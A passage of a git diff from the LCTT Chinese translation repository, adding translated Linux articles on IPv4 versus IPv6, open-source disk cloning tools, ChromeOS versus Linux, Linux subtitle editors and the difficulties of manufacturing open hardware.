地址。“私有地址”这套解决方案的效果是,你可以自己创建一个网络,里面的主机可以访问外网的主机,但外网的主机很难访问到你创建的那个网络上的主机,因为你的网络是私有的、别人不可见的。你可以创建一个非常大的网络,因为你可以使用16,777,214个主机地址,并且你可以将这个网络分割成更小的子网,方便自己管理。 + +也许你现在正在使用私有地址。看看你自己的 IP 地址,如果这个地址在这些范围内:**10.0.0.0 – 10.255.255.255**、**172.16.0.0 – 172.31.255.255**或**192.168.0.0 – 192.168.255.255**,就说明你在使用私有地址。这两套方案有效地将“IP 地址用尽”这个灾难延迟了好长时间,但这毕竟只是权宜之计,现在我们正面临最终的审判。 + +**IPv4** 还有另外一个问题,那就是这个协议的消息头长度可变。如果数据的路由通过软件来实现,这个问题还好说。但现在路由器功能都是由硬件提供的,处理变长消息头对硬件来说是一件困难的事情。一个大的路由器需要处理来自世界各地的大量数据包,这个时候路由器的负载是非常大的。所以很明显,我们需要固定消息头的长度。 + +在分配 IP 地址的同时,还有一个问题,因特网是美国人发明的(LCTT:这个万恶的资本主义国家占用了大量 IP 地址)。其他国家只得到了 IP 地址的碎片。我们需要重新定制一个架构,让连续的 IP 地址能在地理位置上集中分布,这样一来路由表可以做的更小(LCTT:想想吧,网速肯定更快)。 + +还有一个问题,这个问题你听起来可能还不大相信,就是 IPv4 配置起来比较困难,而且还不好改变。你可能不会碰到这个问题,因为你的路由器为你做了这些事情,不用你去操心。但是你的 ISP 对此一直是很头疼的。 + +下一代因特网需要考虑上述的所有问题。 + +### IPv6 和它的优点 ### + +**IETF** 在1995年12月公布了下一代 IP 地址标准,名字叫 IPv6,为什么不是 IPv5?→_→ 因为某个错误原因,“版本5”这个编号被其他项目用去了。IPv6 的优点如下: + +- 128位地址长度(共有3.402823669×10³⁸个地址) +- 其架构下的地址在逻辑上聚合 +- 消息头长度固定 +- 支持自动配置和修改你的网络。 + +我们一项一项地分析这些特点: + +#### 地址 #### + +人们谈到 **IPv6** 时,第一件注意到的事情就是它的地址好多好多。为什么要这么多?因为设计者考虑到地址不能被充分利用起来,我们必须提供足够多的地址,让用户去挥霍,从而达到一些特殊目的。所以如果你想架设自己的 IPv6 网络,你的 ISP 可以给你分配拥有**64位**主机地址长度的网络(可以分配1.844674407×10¹⁹台主机),你想怎么玩就怎么玩。 + +#### 聚合 #### + +有这么多的地址,这些地址可以被稀稀拉拉地分配给主机,从而更高效地路由数据包。算一笔帐啊,你的 ISP 拿到一个**80位**地址长度的网络空间,其中16位是 ISP 的子网地址,剩下64位分给你作为主机地址。这样一来,你的 ISP 可以分配65,534个子网。 + +然而,这些地址分配不是一成不变地,如果 ISP 想拥有更多的小子网,完全可以做到(当然,土豪 ISP 可能会要求再来一个80位网络空间)。最高的48位地址是相互独立地,也就是说 ISP 与 ISP 之间虽然可能分到相同地80位网络空间,但是这两个空间是相互隔离的,好处就是一个网络空间里面的地址会聚合在一起。 + +#### 固定的消息头长度 #### + +**IPv4** 消息头长度可变,但 **IPv6** 消息头长度被固定为40字节。IPv4 会由于额外的参数导致消息头变长,IPv6 中,如果有额外参数,这些信息会被放到一个紧挨着消息头的地方,不会被路由器处理,当消息到达目的地时,这些额外参数会被软件提取出来。 + +IPv6 消息头有一个部分叫“flow”,是一个20位伪随机数,用于简化路由器对数据包的路由过程。如果一个数据包存在“flow”,路由器就可以根据这个值作为索引查找路由表,不必慢吞吞地遍历整张路由表来查询路由路径。这个优点使 **IPv6** 更容易被路由。 + +#### 自动配置 #### + +**IPv6** 中,当主机开机时,会检查本地网络,看看有没有其他主机使用了自己的 IP 地址。如果地址没有被使用,就接着查询本地的 IPv6 路由器,找到后就向它请求一个 IPv6 地址。然后这台主机就可以连上互联网了 —— 它有自己的 IP 地址,和自己的默认路由器。 + +如果这台默认路由器宕机,主机就会接着找其他路由器,作为备用路由器。这个功能在 IPv4 协议里实现起来非常困难。同样地,假如路由器想改变自己的地址,自己改掉就好了。主机会自动搜索路由器,并自动更新路由器地址。路由器会同时保存新老地址,直到所有主机都把自己地路由器地址更新成新地址。 + +IPv6 自动配置还不是一个完整地解决方案。想要有效地使用互联网,一台主机还需要另外的东西:域名服务器、时间同步服务器、或者还需要一台文件服务器。于是 **dhcp6** 出现了,提供与 dhcp 一样的服务,唯一的区别是 dhcp6 的机器可以在可路由的状态下启动,一个 dhcp 进程可以为大量网络提供服务。 + +#### 唯一的大问题 #### + +如果 IPv6 真的比 IPv4 好那么多,为什么它还没有被广泛使用起来(Google 在**2014年5月份**估计 IPv6 的市场占有率为**4%**)?一个最基本的原因是“先有鸡还是先有蛋”。服务商想让自己的服务器为尽可能多的客户提供服务,这就意味着他们必须部署一个 **IPv4** 地址。 + +当然,他们可以同时使用 IPv4 和 IPv6 两套地址,但很少有客户会用到 IPv6,并且你还需要对你的软件做一些小修改来适应 IPv6。另外比较头疼的一点是,很多家庭的路由器压根不支持 IPv6。还有就是 ISP 也不愿意支持 IPv6,我问过我的 ISP 这个问题,得到的回答是:只有客户明确指出要部署这个时,他们才会用 IPv6。然后我问了现在有多少人有这个需求,答案是:包括我在内,共有1个。 + +与这种现实状况呈明显对比的是,所有主流操作系统:Windows、OS X、Linux 都默认支持 IPv6 好多年了。这些操作系统甚至提供软件让 IPv6 的数据包披上 IPv4 的皮来骗过那些会丢弃 IPv6 数据包的主机,从而达到传输数据的目的。 + +### 总结 ### + +IPv4 已经为我们服务了好长时间。但是它的缺陷会在不远的将来遭遇不可克服的困难。IPv6 通过改变地址分配规则、简化数据包路由过程、简化首次加入网络时的配置过程等策略,可以完美解决这个问题。 + +问题是,大众在接受和使用 IPv6 的过程中进展缓慢,因为改变代价太大了。好消息是所有操作系统都支持 IPv6,所以当你有一天想做出改变,你的电脑只需要改变一点点东西,就能转到全新的架构体系中去。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/ipv4-and-ipv6-comparison/ + +作者:[Jeff Silverman][a] +译者:[bazz2](https://github.com/bazz2) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/jeffsilverm/ diff --git a/published/201501/20140915 10 Open Source Cloning Software For Linux Users.md b/published/201501/20140915 10 Open Source Cloning Software For Linux Users.md new file mode 100644 index 0000000000..9eabdb35f6 --- /dev/null +++ b/published/201501/20140915 10 Open Source Cloning Software For Linux Users.md @@ -0,0 +1,86 @@ +给 Linux 用户的 10 个开源克隆软件 +================================================================================ +> 这些克隆软件会读取整个磁盘的数据,将它们转换成一个 .img 文件,之后你可以将它复制到其他硬盘上。 + + +磁盘克隆的意思是说从一个硬盘复制数据到另一个硬盘上。虽然你可以通过简单的复制粘贴来做到这一点,但是你却不能复制隐藏文件和文件夹,以及正在使用中的文件。这便是一个克隆软件可以通过保存一份文件和文件夹的镜像来做到的。克隆软件会读取整个磁盘的数据,将它们转换成一个 .img 文件,之后你可以将它复制到其他硬盘上。现在我们将要向你介绍最优秀的 10 个开源的克隆软件: + +### 1. [Clonezilla][1]:### + +Clonezilla 是一个基于 Ubuntu 和 Debian 的 Live CD。它可以像 Windows 里的 Ghost 一样克隆你的磁盘数据和做备份,不过它更有效率。Clonezilla 支持包括 ext2、ext3、ext4、btrfs 和 xfs 在内的很多文件系统。它还支持 BIOS、UEFI、MBR 和 GPT 分区。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/rte/my_documents/my_pictures/600x450xZ34_clonezilla-600x450.png.pagespeed.ic.8Jq7pL2dwo.png) + +### 2. [Redo Backup][2]:### + +Redo Backup 是另一个用来方便地克隆磁盘的 Live CD。它是自由和开源的软件,使用 GPL 3 许可协议授权。它的主要功能和特点包括从 CD 引导的简单易用的 GUI、无需安装,可以恢复 Linux 和 Windows 等系统,无需登陆访问文件,以及已删除的文件等。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/rte/my_documents/my_pictures/600x450x7D5_Redo-Backup-600x450.jpeg.pagespeed.ic.3QMikN07F5.jpg) + +### 3. [Mondo Rescue][3]:### + +Mondo 和其他的软件不大一样,它并不将你的磁盘数据转换为一个 .img 文件,而是将它们转换为一个 .iso 镜像。使用 Mondo,你还可以使用“mindi”——一个由 Mondo Rescue 开发的特别工具——来创建一个自定义的 Live CD,这样你的数据就可以从 Live CD 克隆出来了。它支持大多数 Linux 发行版和 FreeBSD,并使用 GPL 许可协议授权。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/rte/my_documents/my_pictures/620x387x3C4_MondoRescue-620x387.jpeg.pagespeed.ic.cqVh7nbMNt.jpg) + +### 4. [Partimage][4]:### + +这是一个开源的备份软件,默认工作在 Linux 系统下。在大多数发行版中,你都可以从发行版自带的软件包管理工具中安装。如果你没有 Linux 系统,你也可以使用“SystemRescueCd”。它是一个默认包含了 Partimage 的 Live CD,可以为你完成备份工作。Partimage 在克隆硬盘方面的性能非常出色。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/rte/my_documents/my_pictures/620x424xBZF_partimage-620x424.png.pagespeed.ic.ygzrogRJgE.png) + +### 5. [FSArchiver][5]:### + +FSArchiver 是 Partimage 的后续产品,而且它也是一个很好的硬盘克隆工具。它支持克隆 Ext4 和 NTFS 分区、基本的文件属性如所有人、权限、SELinux 之类的扩展属性,以及所有 Linux 文件系统的文件系统属性等。 + +### 6. [Partclone][6]:### + +Partclone 是一个可以克隆和恢复分区的免费工具。它用 C 语言编写,最早在 2007 年出现,而且支持很多文件系统,包括:ext2、ext3、ext4、xfs、nfs、reiserfs、reiser4、hfs+、btrfs。它的使用十分简便,并且使用 GPL 许可协议授权。 + +### 7. [doClone][7]:### + +doClone 是一个免费软件项目,被开发用于轻松地克隆 Linux 系统分区。它由 C++ 编写而成,支持多达 12 种不同的文件系统。它能够修复 Grub 引导器,还能通过局域网传输镜像到另一台计算机。它还提供了热同步功能,这意味着你可以在系统正在运行的时候对它进行克隆操作。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/rte/my_documents/my_pictures/620x396x2A6_doClone-620x396.jpeg.pagespeed.ic.qhimTILQPI.jpg) + +### 8. [Macrium Reflect 免费版][8]:### + +Macrium Reflect 免费版被形容为最快的磁盘克隆工具之一,它只支持 Windows 文件系统。它有一个很直观的用户界面。该软件提供了磁盘镜像和克隆操作,还能让你在文件管理器中访问镜像。它允许你创建一个 Linux 应急 CD,并且它与 Windows Vista 和 Windows 7 兼容。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/rte/my_documents/my_pictures/620x464xD1E_open1.jpg.pagespeed.ic.RQ41AyMCFx.png) + +### 9. [DriveImage XML][9]:### + +DriveImage XML 使用 Microsoft VSS 来创建镜像,十分可靠。使用这个软件,你可以从一个正在使用的磁盘创建“热”镜像。镜像使用 XML 文件保存,这意味着你可以从任何支持的第三方软件访问它们。DriveImage XML 还允许在不重启的情况下从镜像恢复到机器。这个软件与 Windows XP、Windows Server 2003、Vista 以及 7 兼容。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/rte/my_documents/my_pictures/620x475x357_open2.jpg.pagespeed.ic.50ipbFWsa2.jpg) + +### 10. [Paragon Backup & Recovery 免费版][10]:### + +Paragon Backup & Recovery 免费版在管理镜像计划任务方面十分出色。它是一个免费软件,但是仅能用于个人用途。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/rte/my_documents/my_pictures/600x536x9Z9_open3.jpg.pagespeed.ic.9rDHp0keFw.png) + + + + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=148039 + +作者:Sanchari Banerjee +译者:[felixonmars](https://github.com/felixonmars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://clonezilla.org/ +[2]:http://redobackup.org/ +[3]:http://www.mondorescue.org/ +[4]:http://www.partimage.org/Main_Page +[5]:http://www.fsarchiver.org/Main_Page +[6]:http://www.partclone.org/ +[7]:http://doclone.nongnu.org/ +[8]:http://www.macrium.com/reflectfree.aspx +[9]:http://www.runtime.org/driveimage-xml.htm +[10]:http://www.paragon-software.com/home/br-free/ diff --git a/published/201501/20140926 ChromeOS vs Linux--The Good, the Bad and the Ugly.md b/published/201501/20140926 ChromeOS vs Linux--The Good, the Bad and the Ugly.md new file mode 100644 index 0000000000..9d2b92e169 --- /dev/null +++ b/published/201501/20140926 ChromeOS vs Linux--The Good, the Bad and the Ugly.md @@ -0,0 +1,82 @@ +ChromeOS 对战 Linux : 孰优孰劣,仁者见仁,智者见智 +================================================================================ +> 在 ChromeOS 和 Linux 的斗争过程中,两个桌面环境都有强有弱,这两者到底怎样呢? + +只要稍加留意,任何人都会相信,Google 在桌面领域绝不是“玩玩而已”。在近几年,我们见到的 [ChromeOS][1] 制造的 [Google Chromebook][2] 相当的轰动。和同期人气火爆的 Amazon 一样,ChromeOS 似乎势不可挡。 + +在本文中,我们要了解的是 ChromeOS 的概念市场,ChromeOS 怎么影响着Linux 的份额,整个 ChromeOS 对于Linux 社区来说,是好事还是坏事。另外,我将会谈到一些重大问题,以及为什么没人针对这些问题做点什么。 + +### ChromeOS 并非真正的Linux ### + +每当有朋友问我说 ChromeOS 是否是 Linux 的一个发行版时,我都会这样回答:ChromeOS 之于 Linux 就如同 OS X 之于 BSD。换句话说,我认为,ChromeOS 是 Linux 的一个派生操作系统,运行于 Linux 内核的引擎之下。而这个操作系统的大部分由 Google 的专利代码及软件组成。 + +尽管 ChromeOS 是利用了 Linux 的内核引擎,但是和现在流行的 Linux 分支版本相比,它仍然有很大的不同。 + +其实,ChromeOS 的差异化越来越明显的原因,是在于它给终端用户提供的包括 Web 应用在内的 app。因为ChromeOS 的每一个操作都是开始于浏览器窗口,这对于 Linux 用户来说,可能会有很多不一样的感受,但是,对于没有 Linux 经验的用户来说,这与他们使用的旧电脑并没有什么不同。 + +比方说,每一个以“依赖 Google 产品”为生活方式的人来说,在 ChromeOS 上的感觉将会非常良好,就好像是回家一样,特别是这个人已经接受了 Chrome 浏览器、Google Drive 云存储和Gmail 的话。久而久之,他们使用ChromeOS 也就是很自然的事情了,因为他们很容易接受使用早已习惯的 Chrome 浏览器。 + +然而,对于 Linux 爱好者来说,这样的约束就立即带来了不适应。因为软件的选择是被限制、被禁锢的,再加上要想玩游戏和 VoIP 是完全不可能的。对不起,因为 [GooglePlus Hangouts][3] 是代替不了VoIP 软件的。甚至这种情况将持续很长一段时间。 + +### ChromeOS 还是 Linux 桌面 ### + +有人断言,ChromeOS 要是想在桌面系统的浪潮中对 Linux 产生影响,只有在 Linux 停下来浮出水面喘气的时候,或者是满足某个非技术用户的时候。 + +是的,桌面 Linux 对于大多数休闲型的用户来说绝对是一个好东西。然而,它必须有专人帮助你安装操作系统,并且提供“维修”服务,就如同我们在 Windows 和 OS X 阵营看到的一样。但是,令人失望的是,在美国, Linux 恰恰在这个方面很缺乏。所以,我们看到,ChromeOS 正慢慢的走入我们的视线。 + +我发现 Linux 桌面系统最适合那些能够提供在线技术支持的环境中。比如说:可以在家里操作和处理更新的高级用户、政府和学校的 IT 部门等等。这些环境中,Linux 桌面系统可以被配置给任何技能水平和背景的人使用。 + +相比之下,ChromeOS 是建立在完全免维护的初衷之下的,因此,不需要第三者的帮忙,你只需要允许更新,然后让他静默完成即可。这在一定程度上可能是由于 ChromeOS 是为某些特定的硬件结构设计的,这与苹果开发自己的PC 电脑也有异曲同工之妙。因为 Google 的 ChromeOS 伴随着其硬件一起提供,大部分情况下都无需担心错误的驱动、适配什么的问题。对于某些人来说,这太好了。 + +然而有些人则认为这是一个很严重的问题,不过滑稽的是,对 ChomeOS 来说,这些人压根就不在它的目标市场里。简言之,这只是一些狂热的 Linux 爱好者在对 ChomeOS 鸡蛋里挑骨头罢了。要我说,还是停止这些没必要的批评吧。 + +问题的关键在于:ChromeOS 的市场份额和 Linux 桌面系统在很长的一段时间内是不同的。这个局面可能会在将来被打破,然而在现在,仍然会是两军对峙的局面。 + +### ChromeOS 的使用率正在增长 ### + +不管你对ChromeOS 有怎么样的看法,事实是,ChromeOS 的使用率正在增长。专门针对 ChromeOS 的电脑也一直有发布。最近,戴尔(Dell)也发布了一款针对 ChromeOS 的电脑。命名为 [Dell Chromebox][5],这款 ChromeOS 设备将会是对传统设备的又一次冲击。它没有软件光驱,没有反病毒软件,能够提供无缝的幕后自动更新。对于一般的用户,Chromebox 和 Chromebook 正逐渐成为那些工作在 Web 浏览器上的人们的一个可靠选择。 + +尽管增长速度很快,ChromeOS 设备仍然面临着一个很严峻的问题 - 存储。受限于有限的硬盘大小和严重依赖于云存储,ChromeOS 对于那些需要使用基本的浏览器功能之外的人们来说还不够用。 + +### ChromeOS 和 Linux 的异同点 ### + +以前,我注意到 ChromeOS 和 Linux 桌面系统分别占有着两个完全不同的市场。出现这样的情况是源于 Linux 社区在线下的桌面支持上一直都有着极其糟糕的表现。 + +是的,偶然的,有些人可能会第一时间发现这个“Linux特点”。但是,并没有一个人接着跟进这些问题,确保得到问题的答案,以让他们得到 Linux 方面更多的帮助。 + +事实上,线下问题的出现可能是这样的: + +- 有些用户偶然的在当地的 Linux 活动中发现了 Linux。 +- 他们带回了 DVD/USB 设备,并尝试安装这个操作系统。 +- 当然,有些人很幸运的成功完成了安装过程,但是,据我所知大多数的人并没有那么幸运。 +- 令人失望的是,这些人只能寄希望于在网上论坛里搜索帮助。他们很难通过主流的计算机网络经验或视频教程解决这些问题。 +-于是这些人受够了。后来有很多失望的用户拿着他们的电脑到 Windows 商店来“维修”。除了重装一个 Windows 操作系统,他们很多时候都会听到一句话,“Linux 并不适合你们”,应该尽量避免。 + +有些人肯定会说,上面的举例肯定夸大其词了。让我来告诉你:这是发生在我身边的真事,而且是经常发生。醒醒吧,Linux 社区的人们,我们的推广模式早已过期无力了。 + +### 伟大的平台,糟糕的营销和最终结论 ### + +如果非要找一个 ChromeOS 和 Linux 桌面系统的共同点,除了它们都使用了 Linux 内核,那就是它们都是伟大的产品却拥有极其差劲的市场营销。对此,Google 认为自己的优势是,它能投入大量的资金在网上构建大面积存储空间。 + +Google 相信他们拥有“网上的优势”,而线下的问题不是很重要。这真是一个让人难以置信的目光短浅,这也成了Google 最严重的失误之一。而当地的 Linux 零售商则坚信,对于不怎么上网的人,自然不必担心他们会受到 Google巨大的在线存储的诱惑。 + +我的建议是:Linux 可以通过线下的努力,提供桌面系统,渗透 ChromeOS 市场。这就意味着 Linux 社区需要在节假日筹集资金来出席博览会、商场展览,并且在社区中进行免费的教学课程。这会立即使 Linux 桌面系统走入人们的视线,否则,最终将会是一个 ChromeOS 设备出现在人们的面前。 + +如果说本地的线下市场并没有像我说的这样,别担心。Linux 桌面系统的市场仍然会像 ChromeOS 一样增长。最坏也能保持现在这种两军对峙的市场局面。 + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/open-source/chromeos-vs-linux-the-good-the-bad-and-the-ugly-1.html + +作者:[Matt Hartley][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.datamation.com/author/Matt-Hartley-3080.html +[1]:http://en.wikipedia.org/wiki/Chrome_OS +[2]:http://www.google.com/chrome/devices/features/ +[3]:https://plus.google.com/hangouts +[4]:http://en.wikipedia.org/wiki/Voice_over_IP +[5]:http://www.pcworld.com/article/2602845/dell-brings-googles-chrome-os-to-desktops.html diff --git a/published/201501/20140928 What is a good subtitle editor on Linux.md b/published/201501/20140928 What is a good subtitle editor on Linux.md new file mode 100644 index 0000000000..4660768029 --- /dev/null +++ b/published/201501/20140928 What is a good subtitle editor on Linux.md @@ -0,0 +1,64 @@ +Linux上几款好用的字幕编辑器 +================================================================================ +如果你经常看国外的大片,你应该会喜欢带字幕版本而不是有国语配音的版本。我在法国长大,童年的记忆里充满了迪斯尼电影。但是这些电影因为有了法语的配音而听起来很怪。如果现在有机会能看原始的版本,我想,对于大多数的人来说,字幕还是必须的。我很高兴能为家人制作字幕。给我带来希望的是,Linux 也不乏有很多花哨、开源的字幕编辑器。总之一句话,文中Linux上字幕编辑器的列表并不详尽,你可以告诉我哪一款是你认为最好的字幕编辑器。 + +### 1. Gnome Subtitles ### + +![](https://farm6.staticflickr.com/5596/15323769611_59bc5fb4b7_z.jpg) + +当有现有字幕需要快速编辑时,[Gnome Subtitles][1] 是我的一个选择。你可以载入视频,载入字幕文本,然后就可以即刻开始了。我很欣赏其对于易用性和高级特性之间的平衡。它带有一个同步工具以及一个拼写检查工具。最后但同样重要的的一点,这么好用最主要的是因为它的快捷键:当你编辑很多的台词的时候,你最好把你的手放在键盘上,使用其内置的快捷键来移动。 + +### 2. Aegisub ### + +![](https://farm3.staticflickr.com/2944/15323964121_59e9b26ba5_z.jpg) + +[Aegisub][2] 已经是一款高级别的复杂字幕编辑器。仅仅是界面就反映出了一定的学习曲线。但是,除了它吓人的样子以外,Aegisub 是一个非常完整的软件,提供的工具远远超出你能想象的。和Gnome Subtitles 一样,Aegisub也采用了所见即所得(WYSIWYG:what you see is what you get)的处理方式。但是是一个全新的高度:可以再屏幕上任意拖动字幕,也可以在另一边查看音频的频谱,并且可以利用快捷键做任何的事情。除此以外,它还带有一个汉字工具,有一个kalaok模式,并且你可以导入lua 脚本让它自动完成一些任务。我希望你在用之前,先去阅读下它的[指南][3]。 + +### 3. Gaupol ### + +![](https://farm3.staticflickr.com/2942/15326817292_6702cc63fc_z.jpg) + +另一个操作复杂的软件是[Gaupol][4],不像Aegisub ,Gaupol 很容易上手而且采用了一个和Gnome Subtitles 很像的界面。但是在这些相对简单背后,它拥有很多很必要的工具:快捷键、第三方扩展、拼写检查,甚至是语音识别(由[CMU Sphinx][5]提供)。这里也提一个缺点,我注意到有时候在测试的时候也,软件会有消极怠工的表现,不是很严重,但是也足以让我更有理由喜欢Gnome Subtitles了。 + +### 4. Subtitle Editor ### + +![](https://farm4.staticflickr.com/3914/15323911521_8e33126610_z.jpg) + +[Subtitle Editor][6]和 Gaupol 很像,但是它的界面有点不太直观,特性也只是稍微的高级一点点。我很欣赏的一点是,它可以定义“关键帧”,而且提供所有的同步选项。然而,多一点的图标,或者是少一点的文字都能提供界面的特性。作为一个值得称赞的字幕编辑器,Subtitle Editor 可以模仿“作家”打字的效果,虽然我不确定它是否特别有用。最后但同样重要的一点,重定义快捷键的功能很实用。 + +### 5. Jubler ### + +![](https://farm4.staticflickr.com/3912/15323769701_3d94ca8884_z.jpg) + +[Jubler][7]是一个用Java编写并有多平台支持的字幕编辑器。我对它的界面印象特别深刻。在上面我确实看出了Java特点的东西,但是,它仍然是经过精心的构造和构思的。像Aegisub 一样,你可以再屏幕上任意的拖动字幕,让你有愉快的体验而不单单是打字。它也可以为字幕自定义一个风格,在另外的一个轨道播放音频,翻译字幕,或者是是做拼写检查。不过,要注意的是,你需要事先安装好媒体播放器并且正确的配置,如果你想完整的使用Jubler。我把这些归功于在[官方页面][8]下载了脚本以后其简便的安装方式。 + +### 6. Subtitle Composer ### + +![](https://farm6.staticflickr.com/5578/15323769711_6c6dfbe405_z.jpg) + +[Subtitle Composer][9]被视为“KDE里的字幕作曲家”,它能够唤起对很多传统功能的回忆。伴随着KDE界面,我们充满了期待。我们自然会说到快捷键,我特别喜欢这个功能。除此之外,Subtitle Composer 与上面提到的编辑器最大的不同地方就在于,它可以执行用JavaScript,Python,甚至是Ruby写成的脚本。软件带有几个例子,肯定能够帮助你很好的学习使用这些特性的语法。 + +最后,不管你是否喜欢,都来为你的家庭编辑几个字幕吧,重新同步整个轨道,或者是一切从头开始,那么Linux 有很好的工具给你。对我来说,快捷键和易用性使得各个工具有差异,想要更高级别的使用体验,脚本和语音识别就成了很便利的一个功能。 + +你会使用哪个字幕编辑器,为什么?你认为还有没有更好用的字幕编辑器这里没有提到的?在评论里告诉我们吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/good-subtitle-editor-linux.html + +作者:[Adrien Brochard][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://gnomesubtitles.org/ +[2]:http://www.aegisub.org/ +[3]:http://docs.aegisub.org/3.2/Main_Page/ +[4]:http://home.gna.org/gaupol/ +[5]:http://cmusphinx.sourceforge.net/ +[6]:http://home.gna.org/subtitleeditor/ +[7]:http://www.jubler.org/ +[8]:http://www.jubler.org/download.html +[9]:http://sourceforge.net/projects/subcomposer/ diff --git a/published/201501/20140929 What Linux Users Should Know About Open Hardware.md b/published/201501/20140929 What Linux Users Should Know About Open Hardware.md new file mode 100644 index 0000000000..55a2ed5012 --- /dev/null +++ b/published/201501/20140929 What Linux Users Should Know About Open Hardware.md @@ -0,0 +1,65 @@ +Linux用户,你们真的了解开源硬件吗? +================================================================================ +> Linux用户不了解一点开源硬件制造相关的事情,他们就会经常陷入失望的情绪中。 + +商业软件和免费软件已经互相纠缠很多年了,但是这俩经常误解对方。这并不奇怪 -- 对一方来说是生意,而另一方只是一种生活方式。但是,这种误解会给人带来痛苦,这也是为什么值得花精力去揭露这里面的内幕。 + +一个逐渐普遍的现象:对开源硬件的不断尝试,不管是Canonical,Jolla,MakePlayLive,或者其他公司。无论是评论员或是终端用户,通常免费软件用户都会为新的硬件平台发布表现出过分的狂热,然后因为不断延期有所醒悟,直到最终放弃整个产品。 + +这是一个没有人获益的怪圈,而且常常滋生出不信任 - 都是因为一般的Linux用户根本不知道这些新闻背后发生的事情。 + +我个人对于把产品推向市场的经验很有限。但是,我还没听说谁能有所突破。推出一个开源硬件或其他产品到市场仍然不仅仅是个残酷的生意,而且严重不利于新进厂商。 + +### 寻找合作伙伴 ### + +不管是数码产品的生产还是分销都被相对较少的一些公司控制着,有时需要数月的预订。利润率也会很低,所以就像那些购买古老情景喜剧的电影工作室一样,生产商一般也希望复制当前热销产品的成功。像Aaron Seigo在谈到他花精力开发Vivaldi平板时告诉我的,生产商更希望能由其他人去承担开发新产品的风险。 + +不仅如此,他们更希望和那些有现成销售记录的有可能带来长期客户生意的人合作。 + +而且,一般新加入的厂商所关心的产品只有几千的量。芯片制造商更愿意和苹果或三星这样的公司合作,因为它们的订单很可能是几十上百万的量。 + +面对这种情形,开源硬件制造者们可能会发现他们在工厂的列表中被淹没了,除非能找到二线或三线厂愿意尝试一下小批量生产新产品。 + +他们也许还会沦为采购成品组件再自己组装,就像Seigo尝试Vivaldi时那样做的。或者,他们也许可以像Canonical那样做,寻找一些愿意为这个产业冒险的合作伙伴。而就算他们成功了,一般也会比最初天真的预期延迟数个月。 + +### 磕磕碰碰走向市场 ### + +然而,寻找生产商只是第一关。根据树莓派项目的经验,就算开源硬件制造者们只想在他们的产品上运行免费软件,生产商们很可能会以保护商业机密的名义坚持使用专有固件或驱动。 + +这样必然会引起潜在用户的批评,但是开源硬件制造者没得选,只能折中他们的愿景。寻找其他生产商也不能解决问题,有一个原因是这样做意味着更多延迟,但是更多的是因为完全免授权费的硬件是不存在的。像三星这样的业内巨头对免费硬件没有任何兴趣,而作为新人,开源硬件制造者也没有影响力去要求什么。 + +更何况,就算有免费硬件,生产商也不能保证会用在下一批生产中。制造者们会轻易地发现他们每次需要生产的时候都要重打一次一模一样的仗。 + +这些都还不够,这个时候开源硬件制造者们也许已经花了6-12个月时间来讨价还价。等机会终于来了,产业标准却已经变更,于是他们可能为了升级产品规格又要从头来过。 + +### 短暂而且残忍的货架期 ### + +尽管面对这么多困难,一定程度上开放的硬件也终于推出了。还记得寻找生产商时的挑战吗?对于分销商也会有同样的问题 -- 还不只是一次,而是每个地区都要解决。 + +通常,分销商和生成商一样保守,对于和新人或新点子打交道也很谨慎。就算他们同意一个产品上架,他们也轻易能够决定不鼓励自己的销售代表们做推广,这意味着这个产品会在几个月后很有效率地下架。 + +当然,在线销售也是可以的。但是同时,硬件还是需要被存放在某个地方,这也会增加成本。而按需生产就算可能的话也将非常昂贵,而且没有组装的元件也需要存放。 + +### 衡量整件怪事 ### + +在这里我只是粗略地概括了一下,但是任何涉足过制造的人会认同我形容为行业标准的东西。而更糟糕的是,开源硬件制造者们通常只有在亲身经历过后才会有所觉悟。不可避免,他们也会犯错,从而带来更多的延迟。 + +但重点是,一旦你对整个过程有所了解,你对另一个开源硬件进行尝试的新闻的反应就会改变。这个过程意味着,除非哪家公司处于严格的保密模式,对于产品将于六个月内发布的声明会很快会被证实是过期的推测。很可能是12-18个月,而且面对之前提过的那些困难很可能意味着这个产品永远都不会真正发布。 + +举个例子,就像我写的,人们等待第一代Steam Machines面世,它是一台基于Linux的游戏主机。他们相信Steam Machines能彻底改变Linux和游戏。 + +作为一个市场分类,Steam Machines也许比其他新产品更有优势,因为参与开发的人员至少有开发软件产品的经验。然而,整整一年过去了Steam Machines的开发成果都还只有原型机,而且直到2015年中都不一定能买到。面对硬件生产的实际情况,就算有一半能见到阳光都是很幸运了。而实际上,能发布2-4台也许更实际。 + +我做出这个预测并没有考虑个体努力。但是,对硬件生产的理解,比起那些Linux和游戏的黄金年代之类的预言,我估计这个更靠谱。如果我错了也会很开心,但是事实不会改变:让人吃惊的不是如此多的Linux相关硬件产品失败了,而是那些虽然短暂但却成功的产品。 + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/open-source/what-linux-users-should-know-about-open-hardware-1.html + 